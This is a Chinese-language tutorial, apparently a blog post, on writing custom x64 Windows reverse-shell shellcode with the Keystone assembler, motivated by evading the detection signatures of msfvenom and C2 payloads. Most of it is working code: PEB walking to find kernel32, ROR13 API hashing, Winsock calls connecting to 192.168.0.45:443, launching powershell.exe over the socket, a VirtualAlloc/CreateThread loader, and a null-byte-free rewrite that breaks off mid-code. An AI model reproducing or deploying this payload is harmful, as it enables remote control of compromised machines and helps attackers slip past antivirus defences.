Skip to main content

Shellcode 编写

背景

一般来说,如果我们需要执行 Shellcode,会通过 C2 或者 msfvenom 来生成,但因为这些工具大部分都是开源的,即便是商业工具,也会因为样本的提交导致 Shellcode 的特征被标记

image.png

image.png

因此,编写自定义的 Shellcode 可以实现更多的灵活性以及特征规避,同时,也很有趣。


测试方法

使用 Keystone 引擎,可以让 Shellcode 的编写更加流畅。Keystone 是一个汇编框架,可以与多种语言绑定,包括 Python。这样的话,我们可以在 Python 脚本中写入汇编代码,然后让 Keystone 框架完成剩下的任务。

我们首先需要通过 pip 安装 keystone 引擎:

pip3 install keystone-engine

然后使用如下的脚本模板,我们需要做的是在 CODE 变量中写入汇编代码。之后,汇编代码会被转换为 Shellcode 并被 CType 库所调用的 API 执行。

import ctypes, struct
from keystone import *

CODE = (
    " start:                             "  #
    "   int3                            ;"  #   Breakpoint for Windbg. REMOVE ME WHEN NOT DEBUGGING!!!!
    "   mov   ebp, esp                  ;"  #
    "   add   esp, 0xfffff9f0           ;"  #   Avoid NULL bytes
............
)

# Initialize engine in X64-64bit mode
ks = Ks(KS_ARCH_X64, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))

print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_int(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))

我们在代码部分最开始加入了 int 3 指令,这样当 Shellcode 被执行时,暂停在最开始的地方,方便我们调试编写的 Shellcode。在命令行中运行该 Python 脚本,脚本的运行会被 input 函数暂停。

image.png

打开 WinDBG,附加到 python.exe 进程

image.png

附加到 python.exe 进程上之后,让程序继续执行,回到脚本被执行的命令行,按下任意键,这样,我们就到了 Shellcode 的入口处。

image.png


通过 Syscall 调用的缺陷

syscall 是一组强大的函数,它们提供从用户空间到受保护内核的接口,该接口允许访问用于 I/O、线程同步、套接字管理等的底层操作系统功能。实际上,syscall 允许用户应用程序直接访问内核,同时确保它们不会损害操作系统。

一般来说,任何 Shellcode 的目的都是执行不属于原始应用程序代码逻辑的任意操作。为此,Shellcode 使用汇编指令,在漏洞利用劫持应用程序的执行流后调用系统调用。

Windows NTAPI 相当于 UNIX 操作系统上的系统调用接口,它是一个大多数未记录的应用程序编程接口,通过 ntdll.dll 库向用户模式应用程序公开。因此,它为用户模式应用程序提供了一种以受控方式调用位于内核中的操作系统函数的方法。在大多数 UNIX 操作系统上,系统调用接口都有详细的文档记录,并且通常可供用户应用程序使用。相比之下,由于 NT 架构的性质,NTAPI 隐藏在更高级别的 API 后面。

Native API 通过在用户模式下实现操作环境子系统(将特定 API 导出到客户端程序)来支持许多操作系统 API(Win32、OS/2、POSIX、DOS/Win16)。

内核级函数通常由用于调用相应函数的系统调用号来标识。 值得注意的是,在 Windows 上,这些系统调用号往往会在主要版本和次要版本之间发生变化。 然而,在 Linux 系统上,这些呼叫号码是固定的并且不会改变。 我们还应该记住,Windows 系统调用接口导出的功能集相当有限。 例如,Windows不通过系统调用接口导出套接字API。 这意味着我们需要避免直接系统调用来为 Windows 编写通用且可靠的 shellcode。

如果没有系统调用,我们直接与内核通信的唯一选择是使用 Windows API,它由动态链接库 (DLL) 导出,在运行时映射到进程内存空间。 如果 DLL 尚未加载到进程空间中,我们需要加载它们并找到它们导出的函数。 一旦找到这些函数,我们就可以将它们作为 shellcode 的一部分来调用,以执行特定的任务。

幸运的是,Kernel32.dll 公开了可用于完成这两项任务的函数,并且很可能被映射到进程空间中。

我们需要避免使用硬编码函数地址,以确保我们的 Shellcode 在不同的操作系统版本上适用。

LoadLibraryA 函数实现加载 DLL 的机制,而 GetModuleHandleA 可用于获取已加载 DLL 的基地址。之后,可以使用 GetProcAddress 来解析函数名。

不幸的是,当我们想要在内存中执行 Shellcode 时,我们不会自动知道 LoadLibraryGetProcAddress 的内存地址。

为了让我们的 shellcode 工作,我们需要找到另一种方法来获取 kernel32.dll 的基址。然后,我们必须弄清楚如何从 kernel32.dll 和任何其他所需的 DLL 中解析各种函数地址。最后,我们将学习如何调用解析函数来实现各种结果,例如反向 Shell。

 

寻找 KERNEL32

TEB 0x60 处,访问到 PEB 的指针:

mov rax, gs:[0x60]

image.png

在 PEB 的 0x18 处,访问到结构体 _PEB_LDR_DATA 的指针:

mov rsi,[rax+0x18]

image.png

访问该 _PEB_LDR_DATA 结构体,里面有多个成员。下半部分的输出给出了更详细的结构体成员信息,其中重要的是 3 个 双向链表,分别是 InLoadOrderModuleListInMemoryOrderModuleList,和 InInitializationOrderModuleList

image.png

InLoadOrderModuleList 按加载顺序显示上一个和下一个模块,InMemoryOrderModuleList 按内存放置顺序显示,InInitializationOrderModuleList 按初始化顺序显示。因此,即便上半部分的输出只告诉我们了 InMemoryOrderModuleList 成员,也是足够了。

保存 InMemoryOrderModuleList 的地址。

mov rsi,[rsi+0x10]

InMemoryOrderModuleList 是一个 _LIST_ENTRY 类型的结构体,有着 2 个成员 FlinkBlink,在双向链表中分别用于访问下一个上一个条目:

image.png


PEB
|
|---> _PEB_LDR_DATA
      |
      |---> InLoadOrderModuleList (_LIST_ENTRY)
      |     |
      |     |---> _LDR_DATA_TABLE_ENTRY (module 1)
      |     |---> _LDR_DATA_TABLE_ENTRY (module 2)
      |     |---> ...
      |
      |---> InMemoryOrderModuleList (_LIST_ENTRY)
      |     |
      |     |---> _LDR_DATA_TABLE_ENTRY (module 1)
      |     |---> _LDR_DATA_TABLE_ENTRY (module 2)
      |     |---> ...
      |
      |---> InInitializationOrderModuleList (_LIST_ENTRY)
            |
            |---> _LDR_DATA_TABLE_ENTRY (module 1)
            |---> _LDR_DATA_TABLE_ENTRY (module 2)
            |---> ...



定位所需 API


函数哈希脚本如下:

#!/usr/bin/python
import numpy, sys

def ror_str(byte, count):
    binb = numpy.base_repr(byte, 2).zfill(32)
    while count > 0:
        binb = binb[-1] + binb[0:-1]
        count -= 1
    return (int(binb, 2))
    
    
if __name__ == '__main__':
    try:
        rsi = sys.argv[1]
    except IndexError:
        print("Usage: %s INPUTSTRING" % sys.argv[0])
        sys.exit()
    # Initialize variables
    rdx = 0x00
    ror_count = 0
    for rax in rsi:
        rdx = rdx + ord(rax)
        if ror_count < len(rsi)-1:
            rdx = ror_str(rdx, 0xd)
        ror_count += 1
    print(hex(rdx))


调用 API

WSAStartup
int WSAStartup(
        WORD      wVersionRequired, # 0x0202 == Version 2.2
  [out] LPWSADATA lpWSAData         # Pointer to where a WSADATA structure will be populated
);


WSASocketA
SOCKET WSAAPI WSASocketA(
  [in] int                 af,              # RCX   (AF_INET == 2)
  [in] int                 type,            # RDX   (SOCK_STREAM == 1)
  [in] int                 protocol,        # R8    (IPPROTO_TCP == 6)
  [in] LPWSAPROTOCOL_INFOA lpProtocolInfo,  # R9    (NULL)
  [in] GROUP               g,               # Stack (NULL)
  [in] DWORD               dwFlags          # Stack (NULL)
);


WSAConnect
int WSAAPI WSAConnect(
  [in]  SOCKET         s,
  [in]  const sockaddr *name,
  [in]  int            namelen,
  [in]  LPWSABUF       lpCallerData,
  [out] LPWSABUF       lpCalleeData,
  [in]  LPQOS          lpSQOS,
  [in]  LPQOS          lpGQOS
);


CreateProcessA
BOOL CreateProcessA(
  [in, optional]      LPCSTR                lpApplicationName,
  [in, out, optional] LPSTR                 lpCommandLine,
  [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
  [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in]                BOOL                  bInheritHandles,
  [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCSTR                lpCurrentDirectory,
  [in]                LPSTARTUPINFOA        lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation
);

STARTINFO 结构体

微软文档中给出的结构信息:

typedef struct _STARTUPINFOA {
  DWORD  cb;
  LPSTR  lpReserved;
  LPSTR  lpDesktop;
  LPSTR  lpTitle;
  DWORD  dwX;
  DWORD  dwY;
  DWORD  dwXSize;
  DWORD  dwYSize;
  DWORD  dwXCountChars;
  DWORD  dwYCountChars;
  DWORD  dwFillAttribute;
  DWORD  dwFlags;
  WORD   wShowWindow;
  WORD   cbReserved2;
  LPBYTE lpReserved2;
  HANDLE hStdInput;
  HANDLE hStdOutput;
  HANDLE hStdError;
} STARTUPINFOA, *LPSTARTUPINFOA;

但在内存中,成员的大小与微软文档中的有所不同:

0:004> dt combase!STARTUPINFOA
   +0x000 cb               : Uint4B
   +0x008 lpReserved       : Ptr64 Char
   +0x010 lpDesktop        : Ptr64 Char
   +0x018 lpTitle          : Ptr64 Char
   +0x020 dwX              : Uint4B
   +0x024 dwY              : Uint4B
   +0x028 dwXSize          : Uint4B
   +0x02c dwYSize          : Uint4B
   +0x030 dwXCountChars    : Uint4B
   +0x034 dwYCountChars    : Uint4B
   +0x038 dwFillAttribute  : Uint4B
   +0x03c dwFlags          : Uint4B
   +0x040 wShowWindow      : Uint2B
   +0x042 cbReserved2      : Uint2B
   +0x048 lpReserved2      : Ptr64 UChar
   +0x050 hStdInput        : Ptr64 Void
   +0x058 hStdOutput       : Ptr64 Void
   +0x060 hStdError        : Ptr64 Void



完整的初版 Shellcode 如下:

import ctypes, struct
from keystone import *

CODE = (
" start:"
"   call find_kernel32;"
"   mov rbp, rax;"    # RBP = Kernel32.dll Address
"   mov r8d, 0xec0e4e8e;"    # LoadLibraryA Hash
"   call parse_module;"    # Search LoadLibraryA's address   
"   mov r12, rax;"    # R12 = LoadLibraryA Address
"   mov r8d, 0x7c0dfcaa;"    # GetProcAddress Hash
"   call parse_module;"    # Search GetProcAddress' address
"   mov r13, rax;"    # R13 = GetProcAddress Address
"   call load_module;"    # Load ws2_32.dll

" find_kernel32:"
"   xor rdx, rdx;"
"   mov rax, gs:[rdx + 0x60];"  # RAX = TEB->PEB
"   mov rsi, [rax + 0x18];"    # RSI = PEB->LDR 
"   mov rsi, [rsi + 0x20];"    # RSI = PEB->LDR.InMemoryOrderModuleList
" next_module:"
"   mov r9, [rsi + 0x20];"    # R9 = InMemoryOrderModuleList[x].DllBase
"   mov rdi, [rsi + 0x50];"    # RDI = InMemoryOrderModuleList[x].DllBaseName
"   mov rsi, [rsi];"    # RSI = InMemoryOrderModuleList[x].Flink
"   add rdi, 2;"    # Skip the 1st character of "KERNEL32.DLL"
" check_upper:"
"   mov r12, 0x0045004E00520045;"    # Unicode string "ENRE"
"   mov r13, 0x002e00320033004c;"    # Unicode string ".23L"
"   mov rdx, qword ptr [rdi];"    # Move "ERNEL32.DLL" to RDX
"   cmp rdx, r12;"    # Compare the first 4 characters against "ENRE"
"   jne check_lower;"    # If no equal, the dll name could be lower case
"   mov rdx, qword ptr [rdi + 8];"    # If equal, move ".23L" to RDX
"   cmp rdx, r13;"    # Compare the next 4 characters ".23L"
"   jne next_module;"    # If not equal, move to next module
"   mov rax, r9;"    # Save Dll Base in RAX as the return value
"   ret;"
" check_lower:"
"   mov r12, 0x0065006E00720065;"    # Unicode string "enre"
"   mov r13, 0x002e00320033006c;"    # Unicode string ".23l"
"   mov rdx, qword ptr [rdi];"    # Move "ernel32.dll" to RDX
"   cmp rdx, r12;"    # Compare the first 4 characters against "enre"
"   jne next_module;"    # If no equal, case sensitivity is not the cause, just move to the next module
"   mov rdx, qword ptr [rdi + 8];"    # If equal, move ".23l" to RDX 
"   cmp rdx, r13;"    # Compare the next 4 characters ".23l" 
"   jne next_module;"    # If not equal, move to next module
"   mov rax, r9;"    # Save Dll Base in RAX as the return value
"   ret;"


" parse_module:"
"   mov ecx, dword ptr [r9 + 0x3c];"    # R9 saves Dll Base address, fetch the offset to NT Header
"   mov r15d, dword ptr [r9 + rcx + 0x88];"    # Fetch RVA of Export Directory
"   add r15, r9;"    # R14 saves the VMA of Export Directory
"   mov ecx, dword ptr [r15 + 0x18];"    # Number of function names
"   mov r14d, dword ptr [r15 + 0x20];"    # Fetch RVA of ENPT
"   add r14, r9;"    # R14 saves the VMA of ENPT
" search_function:"
"   jrcxz not_found;"    # If RCX = 0, the function is not found
"   dec ecx;"    # Index decreases by 1
"   xor rsi, rsi;"    # Zero out RSI
"   mov esi, [r14 + rcx*4];"    # RVA of current function name string
"   add rsi, r9;"    # RSI points to current function name
" function_hashing:"
"   xor rax, rax;"    # Clean RAX
"   xor rdx, rdx;"    # Clean RDX
"   cld;"    # Clear direction flag
" iteration:"
"   lodsb;"    # Copy next byte in RSI to Al
"   test al, al;"    # If reach to the end 
"   jz compare_hash;"    # Compare the function hash
"   ror edx, 0x0d;"    # Part of the hashing algorithm
"   add edx, eax;"    # Part of the hashing algorithm,
"   jmp iteration;"    # Move to next byte
" compare_hash:"
"   cmp edx, r8d;"
"   jnz search_function;"
"   mov r10d, [r15 + 0x24];"    # Ordinal Table RVA
"   add r10, r9;"    # Ordinal Table VMA
"   movzx ecx, word ptr [r10 + 2*rcx];"    # Function Ordinal Number
"   mov r11d, [r15 + 0x1c];"    # EAT RVA
"   add r11, r9;"    # EAT VMA
"   mov eax, [r11 + 4*rcx];"    # Function RVA
"   add rax, r9;"    # Function VMA
"   ret;"
" not_found:"
"   ret;"


" load_module:"
"   mov rax, 0x6c6c  ;"   # Move "ll" into RAX
"   push rax  ;"    # Push RAX onto the stack
"   mov rax, 0x642E32335F325357  ;"     # Move "WS2_32.D" into RAX
"   push rax  ;"    # Push RAX onto the stack
"   mov rcx, rsp;"      # RCX = Pointer to "ws2_32.dll\0"
"   sub rsp, 0x20;"     # Reverse space for x64 calling convention
"   mov rax, r12;"      # RAX = Address of LoadLibraryA
"   call rax;"          # LoadLibraryA("ws2_32.dll")
"   add rsp, 0x20;"     # Clean up reversed space
"   add rsp, 0x10;"     # Clean up WS2_32.DLL string
"   mov r14, rax;"      # Save the returned base address of ws2_32.dll

" call_wsastartup:"

"   mov r9, rax;"    # R9 = WS2_32.DLL
"   mov r8d, 0x3bfcedcb;"    # WSAStart Hash
"   mov rbx, r9;"    # Save ws2_32.dll base address in rbx for next use
"   call parse_module;"    # Search WSAStartup address
"   xor rcx, rcx;"
"   mov cx, 0x198;"    
"   sub rsp, rcx;"  
"   lea rdx, [rsp];"    # lpWSAData
"   mov rcx, 0x202;"    # wVersionRequired 
"   sub rsp, 0x58;"
"   call rax;"    # Call WSAStartup
"   add rsp, 0x58;"    # Recover the stack


" call_wsasocket:"
"   mov r9, rbx;"    # R9 = WS2_32.DLL
"   mov r8d, 0xadf509d9;"    # WSASocketA Hash
"   call parse_module;"    # Search WSASocketA address
"   sub rsp, 0x58;"
"   mov rcx, 2;"    # 2
"   mov rdx, 1;"    # 1
"   mov r8, 6;"    # 6
"   xor r9, r9;"    # 0
"   mov [rsp+0x20], r9;"   # 0
"   mov [rsp+0x28], r9;"    # 0
"   call rax;"
"   mov r12, rax;"    # Save socket to r12 for later use
"   add rsp, 0x58;"

" call_wsaconnect:"
"   mov r9, rbx;"    # R9 = WS2_32.DLL
"   mov r8d, 0xb32dba0c;"    # WSAConnect Hash
"   call parse_module;"    # Search WSAConnect address
"   sub rsp, 0x200;"    # Reserve space for socketaddr
"   mov rcx, r12;"    # Move socket to RCX as the 1st argument
"   mov rdx, 2;"    # AF_INET = 2
"   mov [rsp], rdx;"    # Store structure socketaddr
"   mov rdx, 0xbb01;"    # Port 443 01bb
"   mov [rsp+2], rdx;"    # Add 2nd member of socketaddr
"   mov rdx, 0x2d00a8c0;"    # IP  192.168.0.45
"   mov [rsp+4], rdx;"    # Add 3rd member of socketaddr
"   lea rdx, [rsp];"    # Pointer to socketaddr structure as the 2nd argument
"   mov r8, 0x16;"    # namelen = 16 bytes
"   xor r9, r9;"    # lpCallerData = NULL as the 4th argument
"   sub rsp, 0x58;"    # Reverse space for fastcall convention
"   mov [rsp+0x20], r9;"    # lpCalleeData = NULL as the 5th argument
"   mov [rsp+0x28], r9;"    # lpSQOS = NULL as the 6th argument
"   mov [rsp+0x30], r9;"    # lpGQOS = NULL as the 7th argument
"   call rax;"
"   add rsp, 0x58;"   # Release space

" call_createprocess:"
"   mov r9, rbp;"    # R9 = KERNEL32.DLL
"   mov r8d, 0x16b3fe72;"    # CreateProcessA Hash
"   call parse_module;"    # Search CreateProcessA address
"   mov rdx, 0x6578652e6c6c;"    # Push string "exe.ll"
"   push rdx;"
"   mov rdx, 0x6568737265776f70;"
"   push rdx;"
"   mov rcx, rsp;"    # Application Name Argument as the 1st argument
"   push r12;"    # STDERROR
"   push r12;"    # STDOUTPUT
"   push r12;"    # STDINPUT
"   xor rdx, rdx;"
"   push dx;"    
"   push rdx;"
"   push rdx;"
"   mov rdx, 0x100;"     
"   push dx;"  # dwFlags = 0x100  
"   xor rdx, rdx;"
"   push dx;"
"   push dx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   push rdx;"
"   mov rdx, 0x68;"
"   push rdx;"    # cb = 0x68
"   mov rdi, rsp;"
"   mov rdx, rsp;"    
"   sub rdx, 0x500;"
"   push rdx;"    # ProcessInformation as the 10th argument
"   push rdi;"    # Pointer to STARTINFO as the 9th argument
"   xor rdx, rdx;"
"   push rdx;"    # lpCurrentDirectory as the 8th argument
"   push rdx;"    # lpEnvironment as the 7th argument
"   push rdx;"    # dwCreationFlags as the 6th argument
"   inc rdx;"
"   push rdx;"    # bInheritHandles as the 5th argument
"   xor rdx, rdx;"
"   push rdx;"    # Reverse space for 4th argument
"   push rdx;"    # Reverse space for 3th argument
"   push rdx;"    # Reverse space for 2th argument
"   push rdx;"    # Reverse space for 1th argument
"   mov rdx, rcx;"    # lpCommandLine
"   xor rcx, rcx;"
"   mov r8, rcx;"    # lpProcessAttributes
"   mov r9, rcx;"    # lpThreatAttributes
"   call rax;"
)


# Initialize engine in X64-64bit mode
ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))








去除 0x00 字节


image.png

为了能更加直观地对应需要修改的指令,我们可以访问 https://defuse.ca/online-x86-assembler.htm#disassembly 在线工具

以下这些指令得到的机器码包含 0x00 字节

call find_kernel32;
call parse_module;
call parse_module;
call load_module;
mov     r12, 45004E00520045h
mov     r13, 2E00320033004Ch
mov     r12, 65006E00720065h
mov     r13, 2E00320033006Ch
mov     r15d, dword ptr [r9+rcx+88h]
mov     rax, 6C6Ch
mov     rcx, 202h
mov     rcx, 2
mov     rdx, 1
mov     r8, 6
sub     rsp, 200h
mov     rdx, 2
mov     rdx, 0BB01h
mov     rdx, 2D00A8C0h
mov     r8, 16h
mov     rdx, 6578652E6C6Ch
mov     rdx, 100h
mov     rdx, 68h
sub     rdx, 500h

对于 mov r12, 0x0045004e00520045 指令,我们可以换成:

mov r12, 0x1055105E10621055;
mov rax, 0x1010101010101010
sub r12, rax;

这样,就没有 0x00 字节了。

image.png

对于 mov rcx, 2 这样数值较小的赋值操作,我们可以赋值负数再使用 neg 指令获得符号相反的数值:

image.png

mov rcx, 0xfffffffffffffffe;
neg rcx;

这样,我们也是消除了 0x00。

image.png


就像这样,除了函数调用指令的 0x00 字符外,其余部分修改好的如下:

import ctypes, struct
from keystone import *

CODE = (
" start:"
"   int3;"
"   call find_kernel32;"
"   mov rbp, rax;"    # RBP = Kernel32.dll Address
"   mov r8d, 0xec0e4e8e;"    # LoadLibraryA Hash
"   call parse_module;"    # Search LoadLibraryA's address   
"   mov r12, rax;"    # R12 = LoadLibraryA Address
"   mov r8d, 0x7c0dfcaa;"    # GetProcAddress Hash
"   call parse_module;"    # Search GetProcAddress' address
"   mov r13, rax;"    # R13 = GetProcAddress Address
"   call load_module;"    # Load ws2_32.dll

" find_kernel32:"
"   xor rdx, rdx;"
"   mov rax, gs:[rdx + 0x60];"  # RAX = TEB->PEB
"   mov rsi, [rax + 0x18];"    # RSI = PEB->LDR 
"   mov rsi, [rsi + 0x20];"    # RSI = PEB->LDR.InMemoryOrderModuleList
" next_module:"
"   mov r9, [rsi + 0x20];"    # R9 = InMemoryOrderModuleList[x].DllBase
"   mov rdi, [rsi + 0x50];"    # RDI = InMemoryOrderModuleList[x].DllBaseName
"   mov rsi, [rsi];"    # RSI = InMemoryOrderModuleList[x].Flink
"   add rdi, 2;"    # Skip the 1st character of "KERNEL32.DLL"
" check_upper:"

#"   mov r12, 0x0045004E00520045;"    # Unicode string "ENRE"
"   mov r12, 0x1055105E10621055;"    # Elimate 0x00 1-1
"   mov rax, 0x1010101010101010;"    # Elimate 0x00 1-2
"   sub r12, rax;"    # Elimate 0x00 1-3

#"   mov r13, 0x002e00320033004c;"    # Unicode string ".23L"
"   mov r13, 0x103e10421043105c;"    # Elimate 0x00 2-1
"   mov rax, 0x1010101010101010;"    # Elimate 0x00 2-2
"   sub r13, rax;"    # Elimate 0x00 2-3

"   mov rdx, qword ptr [rdi];"    # Move "ERNEL32.DLL" to RDX
"   cmp rdx, r12;"    # Compare the first 4 characters against "ENRE"
"   jne check_lower;"    # If no equal, the dll name could be lower case
"   mov rdx, qword ptr [rdi + 8];"    # If equal, move ".23L" to RDX
"   cmp rdx, r13;"    # Compare the next 4 characters ".23L"
"   jne next_module;"    # If not equal, move to next module
"   mov rax, r9;"    # Save Dll Base in RAX as the return value
"   ret;"

" check_lower:"
#"   mov r12, 0x0065006E00720065;"    # Unicode string "enre"
#"   mov r12, 0x1075107E10821075;"    # Elimate 0x00 3-1
#"   mov rax, 0x1010101010101010;"    # Elimate 0x00 3-2
#"   sub r12, rax;"    # Elimate 0x00 3-3
#
#"   mov r13, 0x002e00320033006c;"    # Unicode string ".23l"
#"   mov r13, 0x103e10421043107c;"    # Elimate 0x00 4-1
#"   mov rax, 0x1010101010101010;"    # Elimate 0x00 4-2
#"   sub r13, rax;"    # Elimate 0x00 4-3
#
#"   mov rdx, qword ptr [rdi];"    # Move "ernel32.dll" to RDX
#"   cmp rdx, r12;"    # Compare the first 4 characters against "enre"
#"   jne next_module;"    # If no equal, case sensitivity is not the cause, just move to the next module
#"   mov rdx, qword ptr [rdi + 8];"    # If equal, move ".23l" to RDX 
#"   cmp rdx, r13;"    # Compare the next 4 characters ".23l" 
#"   jne next_module;"    # If not equal, move to next module
#"   mov rax, r9;"    # Save Dll Base in RAX as the return value
#"   ret;"


" parse_module:"
"   mov ecx, dword ptr [r9 + 0x3c];"    # R9 saves Dll Base address, fetch the offset to NT Header
#"   mov r15d, dword ptr [r9 + rcx + 0x88];"    # Fetch RVA of Export Directory
"   xor r15, r15;"
"   mov r15b, 0x88;"
"      add r15, r9;"
"   add r15, rcx;"
"   mov r15d, dword ptr [r15];"


"   add r15, r9;"    # R15 saves the VMA of Export Directory
"   mov ecx, dword ptr [r15 + 0x18];"    # Number of function names
"   mov r14d, dword ptr [r15 + 0x20];"    # Fetch RVA of ENPT
"   add r14, r9;"    # R14 saves the VMA of ENPT
" search_function:"
"   jrcxz not_found;"    # If RCX = 0, the function is not found
"   dec ecx;"    # Index decreases by 1
"   xor rsi, rsi;"    # Zero out RSI
"   mov esi, [r14 + rcx*4];"    # RVA of current function name string
"   add rsi, r9;"    # RSI points to current function name
" function_hashing:"
"   xor rax, rax;"    # Clean RAX
"   xor rdx, rdx;"    # Clean RDX
"   cld;"    # Clear direction flag
" iteration:"
"   lodsb;"    # Copy next byte in RSI to Al
"   test al, al;"    # If reach to the end 
"   jz compare_hash;"    # Compare the function hash
"   ror edx, 0x0d;"    # Part of the hashing algorithm
"   add edx, eax;"    # Part of the hashing algorithm,
"   jmp iteration;"    # Move to next byte
" compare_hash:"
"   cmp edx, r8d;"
"   jnz search_function;"
"   mov r10d, [r15 + 0x24];"    # Ordinal Table RVA
"   add r10, r9;"    # Ordinal Table VMA
"   movzx ecx, word ptr [r10 + 2*rcx];"    # Function Ordinal Number
"   mov r11d, [r15 + 0x1c];"    # EAT RVA
"   add r11, r9;"    # EAT VMA
"   mov eax, [r11 + 4*rcx];"    # Function RVA
"   add rax, r9;"    # Function VMA
"   ret;"
" not_found:"
"   ret;"


" load_module:"
#"   mov rax, 0x6c6c  ;"   # Move "ll" into RAX
"   xor rax, rax;"
"   xor r13, r13;"
"   mov ax, 0xffff;"    #
"   mov r13w, 0x9393;"
"   sub rax, r13;"


"   push rax  ;"    # Push RAX onto the stack
"   mov rax, 0x642E32335F325357  ;"     # Move "WS2_32.D" into RAX
"   push rax  ;"    # Push RAX onto the stack
"   mov rcx, rsp;"      # RCX = Pointer to "ws2_32.dll\0"
"   sub rsp, 0x20;"     # Reverse space for x64 calling convention
"   mov rax, r12;"      # RAX = Address of LoadLibraryA
"   call rax;"          # LoadLibraryA("ws2_32.dll")
"   add rsp, 0x20;"     # Clean up reversed space
"   add rsp, 0x10;"     # Clean up WS2_32.DLL string
"   mov r14, rax;"      # Save the returned base address of ws2_32.dll

" call_wsastartup:"

"   mov r9, rax;"    # R9 = WS2_32.DLL
"   mov r8d, 0x3bfcedcb;"    # WSAStart Hash
"   mov rbx, r9;"    # Save ws2_32.dll base address in rbx for next use
"   call parse_module;"    # Search WSAStartup address
"   xor rcx, rcx;"
"   mov cx, 0x198;"    
"   sub rsp, rcx;"  
"   lea rdx, [rsp];"    # lpWSAData
#"   mov rcx, 0x202;"    # wVersionRequired 
"   xor rcx, rcx;"
"   xor r13, r13;"
"   mov cx, 0x3333;"
"   mov r13w, 0x1111;"
"   sub rcx, r13;"

"   sub rsp, 0x58;"
"   call rax;"    # Call WSAStartup
"   add rsp, 0x58;"    # Recover the stack


" call_wsasocket:"
"   mov r9, rbx;"    # R9 = WS2_32.DLL
"   mov r8d, 0xadf509d9;"    # WSASocketA Hash
"   call parse_module;"    # Search WSASocketA address
"   sub rsp, 0x58;"
#"   mov rcx, 2;"    # 2
"   xor rcx, rcx;"
"   inc rcx;"
"   inc rcx;"

#"   mov rdx, 1;"    # 1
"   xor rdx, rdx;"
"      inc rdx;"

#"   mov r8, 6;"    # 6
"   xor r8, r8;"
"   mov r8b, 0xfffa;"
"   neg r8b;"

"   xor r9, r9;"    # 0
"   mov [rsp+0x20], r9;"   # 0
"   mov [rsp+0x28], r9;"    # 0
"   call rax;"
"   mov r12, rax;"    # Save socket to r12 for later use
"   add rsp, 0x58;"

" call_wsaconnect:"
"   mov r9, rbx;"    # R9 = WS2_32.DLL
"   mov r8d, 0xb32dba0c;"    # WSAConnect Hash
"   call parse_module;"    # Search WSAConnect address
#"   sub rsp, 0x200;"    # Reserve space for socketaddr
"   xor r13, r13;"
"   xor r15, r15;"
"   mov r13w, 0xffff;"
"   mov r15w, 0xfdff;"
"   sub r13, r15;"
"   sub rsp, r13;"



"   mov rcx, r12;"    # Move socket to RCX as the 1st argument
#"   mov rdx, 2    # AF_INET = 2
"   xor rdx, rdx;"
"   inc rdx;"
"   inc rdx;"    

"   mov [rsp], rdx;"    # Store structure socketaddr
#"   mov rdx, 0xbb01;"    # Port 443 01bb
"   xor rdx, rdx;"
"   mov dx, 0xbb01;"


"   mov [rsp+2], rdx;"    # Add 2nd member of socketaddr
#"   mov rdx, 0x2d00a8c0;"    # IP  192.168.0.45
"   mov edx, 0x3d10b8d0;"
"   sub edx, 0x10101010;"



"   mov [rsp+4], rdx;"    # Add 3rd member of socketaddr
"   lea rdx, [rsp];"    # Pointer to socketaddr structure as the 2nd argument
#"   mov r8, 0x16;"    # namelen = 16 bytes
"   xor r8, r8;"
"   mov r8w, 0x2610;"
"   sub r8w, 0x1010;"


"   xor r9, r9;"    # lpCallerData = NULL as the 4th argument
"   sub rsp, 0x58;"    # Reverse space for fastcall convention
"   mov [rsp+0x20], r9;"    # lpCalleeData = NULL as the 5th argument
"   mov [rsp+0x28], r9;"    # lpSQOS = NULL as the 6th argument
"   mov [rsp+0x30], r9;"    # lpGQOS = NULL as the 7th argument
"   call rax;"
"   add rsp, 0x58;"   # Release space

" call_createprocess:"
"   mov r9, rbp;"    # R9 = KERNEL32.DLL
"   mov r8d, 0x16b3fe72;"    # CreateProcessA Hash
"   call parse_module;"    # Search CreateProcessA address
#"   mov rdx, 0x6578652e6c6c;"    # Push string "exe.ll"
"   mov rdx, 0x10107588753e7c7c;"
